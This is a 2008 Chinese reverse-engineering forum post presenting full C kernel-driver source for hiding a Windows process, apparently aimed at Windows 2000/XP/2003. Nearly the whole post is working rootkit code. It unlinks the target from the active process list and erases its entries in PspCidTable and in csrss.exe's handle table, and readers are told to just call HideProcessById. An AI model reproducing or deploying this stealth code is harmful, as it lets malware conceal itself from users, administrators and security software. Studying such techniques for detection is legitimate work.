【原创】科普之三招隐藏进程
|
|
标 题: 【原创】科普之三招隐藏进程
作 者: cooldiyer
时 间: 2008-09-20,11:58
链 接: http://bbs.pediy.com/showthread.php?t=73129
先从活动进程链表中摘除 擦除PspCidTable中对应的Object 再擦除Csrss进程中那份表
擦除HandleTable表用了一些技巧,不用亲自操作三层表,不是网上流传的方法,具体请看代码......
使用的时候直接HideProcessById(HIDE_PID)就行了
偶这只菜鸟的学习总结,牛们不要BS,我会超过你们的.很快
ProcessHide.h
ProcessHide.c
作 者: cooldiyer
时 间: 2008-09-20,11:58
链 接: http://bbs.pediy.com/showthread.php?t=73129
先从活动进程链表中摘除 擦除PspCidTable中对应的Object 再擦除Csrss进程中那份表
擦除HandleTable表用了一些技巧,不用亲自操作三层表,不是网上流传的方法,具体请看代码......
使用的时候直接HideProcessById(HIDE_PID)就行了
偶这只菜鸟的学习总结,牛们不要BS,我会超过你们的.很快
ProcessHide.h
代码:
#ifndef __PROCESSHIDE_H__ #define __PROCESSHIDE_H__ #ifdef __cplusplus extern "C" { #endif #include <ntddk.h> /* 使用之前请先调用InitializeCommonVariables初始化全局变量 */ typedef struct _HANDLE_TABLE_ENTRY { // // The pointer to the object overloaded with three ob attributes bits in // the lower order and the high bit to denote locked or unlocked entries // union { PVOID Object; ULONG ObAttributes; }; // // This field either contains the granted access mask for the handle or an // ob variation that also stores the same information. Or in the case of // a free entry the field stores the index for the next free entry in the // free list. This is like a FAT chain, and is used instead of pointers // to make table duplication easier, because the entries can just be // copied without needing to modify pointers. // union { union { ACCESS_MASK GrantedAccess; struct { USHORT GrantedAccessIndex; USHORT CreatorBackTraceIndex; }; }; LONG NextFreeTableEntry; }; } HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; typedef struct _HANDLE_TABLE { // // A set of flags used to denote the state or attributes of this // particular handle table // ULONG Flags; // // The number of handle table entries in use. // LONG HandleCount; // // A pointer to the top level handle table tree node. // PHANDLE_TABLE_ENTRY **Table; // // The process who is being charged quota for this handle table and a // unique process id to use in our callbacks // struct _EPROCESS *QuotaProcess; HANDLE UniqueProcessId; // // This is a singly linked list of free table entries. We don't actually // use pointers, but have each store the index of the next free entry // in the list. The list is managed as a lifo list. We also keep track // of the next index that we have to allocate pool to hold. // LONG FirstFreeTableEntry; LONG NextIndexNeedingPool; // // This is the lock used to protect the fields in the record, and the // handle table tree in general. Individual handle table entries that are // not free have their own lock // ERESOURCE HandleTableLock; // // The list of global handle tables. This field is protected by a global // lock. // LIST_ENTRY HandleTableList; // // The following field is used to loosely synchronize thread contention // on a handle. If a thread wants to wait for a handle to be unlocked // it will wait on this event with a short timeout. Any handle unlock // operation will pulse this event if there are threads waiting on it // KEVENT HandleContentionEvent; } HANDLE_TABLE, *PHANDLE_TABLE; typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN PVOID EnumParameter ); typedef BOOLEAN (*__ExEnumHandleTable)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL ); NTSTATUS GetPspCidTable( OUT PHANDLE_TABLE* ppPspCidTable ); BOOLEAN EnumHandleCallback( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN OUT PVOID EnumParameter ); NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN HANDLE ProcessId ); NTSTATUS RemoveNodeFromActiveProcessLinks( IN HANDLE ProcessId ); NTSTATUS HideProcessById( IN HANDLE ProcessId ); NTSTATUS InitializeCommonVariables( ); NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ); NTSTATUS LookupProcessByName( IN PCHAR pcProcessName, OUT PEPROCESS *Process ); #ifdef __cplusplus } // extern "C" #endif #endif // __PROCESSHIDE_H__
代码:
#include "ProcessHide.h" #include "LDasm.h" ULONG g_Offset_Eprocess_Name = NULL; ULONG g_Offset_Eprocess_Flink = NULL; ULONG g_Offset_Eprocess_ProcessId = NULL; ULONG g_Offset_Eprocess_HandleTable = NULL; PEPROCESS g_pEprocess_System = NULL; NTSTATUS GetPspCidTable( OUT PHANDLE_TABLE* ppPspCidTable ) /* 通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址 */ { NTSTATUS status; PUCHAR cPtr; unsigned char * pOpcode; ULONG Length; UNICODE_STRING uniPsLookup; ULONG PsLookupProcessByProcessId; status = STATUS_NOT_FOUND; RtlInitUnicodeString(&uniPsLookup, L"PsLookupProcessByProcessId"); PsLookupProcessByProcessId = MmGetSystemRoutineAddress(&uniPsLookup); //MmGetSystemRoutineAddress可以通过函数名获得函数地址 for (cPtr = (PUCHAR)PsLookupProcessByProcessId; cPtr < (PUCHAR)PsLookupProcessByProcessId + PAGE_SIZE; cPtr += Length) { Length = SizeOfCode(cPtr, &pOpcode); //credit to LDasm.c by Ms-Rem if (!Length) break; if (*(PUSHORT)cPtr == 0x35FF && *(pOpcode + 6) == 0xE8) { *ppPspCidTable = **(PVOID **)(pOpcode + 2); status = STATUS_SUCCESS; break; } } return status; } BOOLEAN EnumHandleCallback( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN OUT PVOID EnumParameter ) { if (ARGUMENT_PRESENT(EnumParameter) && *(HANDLE *)EnumParameter == Handle) { *(PHANDLE_TABLE_ENTRY *)EnumParameter = HandleTableEntry; return TRUE; } return FALSE; } // 修改一下,可以传递要擦除的ID做参数 NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN HANDLE ProcessId ) { NTSTATUS status; PVOID EnumParameter; UNICODE_STRING uniExEnumHandleTable; __ExEnumHandleTable ExEnumHandleTable; status = STATUS_NOT_FOUND; EnumParameter = ProcessId; RtlInitUnicodeString(&uniExEnumHandleTable, L"ExEnumHandleTable"); ExEnumHandleTable = MmGetSystemRoutineAddress(&uniExEnumHandleTable); if (NULL == ExEnumHandleTable) { return STATUS_NOT_FOUND; } // Enum后可以擦除,Callback过程中不能擦除 if (ExEnumHandleTable(pHandleTable, EnumHandleCallback, &EnumParameter, NULL)) { InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object, NULL); status = STATUS_SUCCESS; } return status; } NTSTATUS RemoveNodeFromActiveProcessLinks( IN HANDLE ProcessId ) { NTSTATUS status; PLIST_ENTRY pListEntry; PEPROCESS pEprocess; status = PsLookupProcessByProcessId(ProcessId, &pEprocess); if (!NT_SUCCESS(status)) { return status; } ObDereferenceObject(pEprocess); pListEntry = (ULONG)pEprocess + g_Offset_Eprocess_Flink; // 从链表中摘除 pListEntry->Blink->Flink = pListEntry->Flink; pListEntry->Flink->Blink = pListEntry->Blink; return status; } NTSTATUS HideProcessById( IN HANDLE ProcessId ) { NTSTATUS status; PHANDLE_TABLE pPspCidTable; PEPROCESS pCsrssEprocess = NULL; if (NULL == g_Offset_Eprocess_HandleTable) { status = InitializeCommonVariables(); if (!NT_SUCCESS(status)) { return status; } } status = GetPspCidTable(&pPspCidTable); if (!NT_SUCCESS(status)) { return status; } status = LookupProcessByName("CSRSS.EXE\0", &pCsrssEprocess); if (!NT_SUCCESS(status)) { return status; } // 先从活动进程链表中摘除 status = RemoveNodeFromActiveProcessLinks(ProcessId); // 擦除PspCidTable中对应的Object status = EraseObjectFromHandleTable(pPspCidTable, ProcessId); // 擦除Csrss进程中那份表 status = EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess + g_Offset_Eprocess_HandleTable), ProcessId); return status; } NTSTATUS LookupProcessByName( IN PCHAR pcProcessName, OUT PEPROCESS *pEprocess ) { NTSTATUS status; ULONG uCurrentProcessId = 0; ULONG uStartProcessId = 0; ULONG uCount = 0; ULONG uLength = 0; PLIST_ENTRY pListActiveProcess; PEPROCESS pCurrentEprocess = NULL; if (!ARGUMENT_PRESENT(pcProcessName) || !ARGUMENT_PRESENT(pEprocess)) { return STATUS_INVALID_PARAMETER; } uLength = strlen(pcProcessName); pCurrentEprocess = g_pEprocess_System; uStartProcessId = *((PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId)); uCurrentProcessId = uStartProcessId; while(1) { if(_strnicmp(pcProcessName, (PVOID)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Name), uLength) == 0) { *pEprocess = pCurrentEprocess; status = STATUS_SUCCESS; break; } else if ((uCount >= 1) && (uStartProcessId == uCurrentProcessId)) { *pEprocess = 0x00000000; status = STATUS_NOT_FOUND; break; } else { pListActiveProcess = (LIST_ENTRY *)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Flink); (ULONG)pCurrentEprocess = (ULONG)pListActiveProcess->Flink; (ULONG)pCurrentEprocess = (ULONG)pCurrentEprocess - g_Offset_Eprocess_Flink; uCurrentProcessId = *(PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId); uCount++; } } return status; } NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ) /* 在DriverEntry中调用 */ { NTSTATUS status; PEPROCESS curproc; ULONG i; if (!MmIsAddressValid((PVOID)Offset)) { status = STATUS_INVALID_PARAMETER; return status; } curproc = PsGetCurrentProcess(); // // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量 // 偏移174h的位置,这里存的是进程的短文件名,少数地方用, // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断 // Scan for 12KB, hopping the KPEB never grows that big! // for( i = 0; i < 3 * PAGE_SIZE; i++ ) { if(!strncmp( "System", (PCHAR) curproc + i, strlen("System"))) { *Offset = i; status = STATUS_SUCCESS; break; } } return status; } NTSTATUS InitializeCommonVariables( ) { NTSTATUS status; ULONG uMajorVersion; ULONG uMinorVersion; status = GetProcessNameOffset(&g_Offset_Eprocess_Name); if (!NT_SUCCESS(status)) { return status; } g_pEprocess_System = PsGetCurrentProcess(); PsGetVersion(&uMajorVersion, &uMinorVersion, NULL, NULL); if (uMajorVersion == 4 && uMinorVersion == 0) { g_Offset_Eprocess_Flink = 152; // Stop supporting NT 4.0 return STATUS_UNSUCCESSFUL; } else if (uMajorVersion == 5 && uMinorVersion == 0) { g_Offset_Eprocess_ProcessId = 156; g_Offset_Eprocess_Flink = 160; g_Offset_Eprocess_HandleTable = 0x128; } else if (uMajorVersion == 5 && uMinorVersion == 1) { g_Offset_Eprocess_ProcessId = 132; g_Offset_Eprocess_Flink = 136; g_Offset_Eprocess_HandleTable = 0xC4; } else if (uMajorVersion == 5 && uMinorVersion == 2) { g_Offset_Eprocess_ProcessId = 132; g_Offset_Eprocess_Flink = 136; g_Offset_Eprocess_HandleTable = 0xC4; } return STATUS_SUCCESS; }
上传的附件
ProcessHide.rar (6.1 KB, 465 次下载) | [谁下载?] |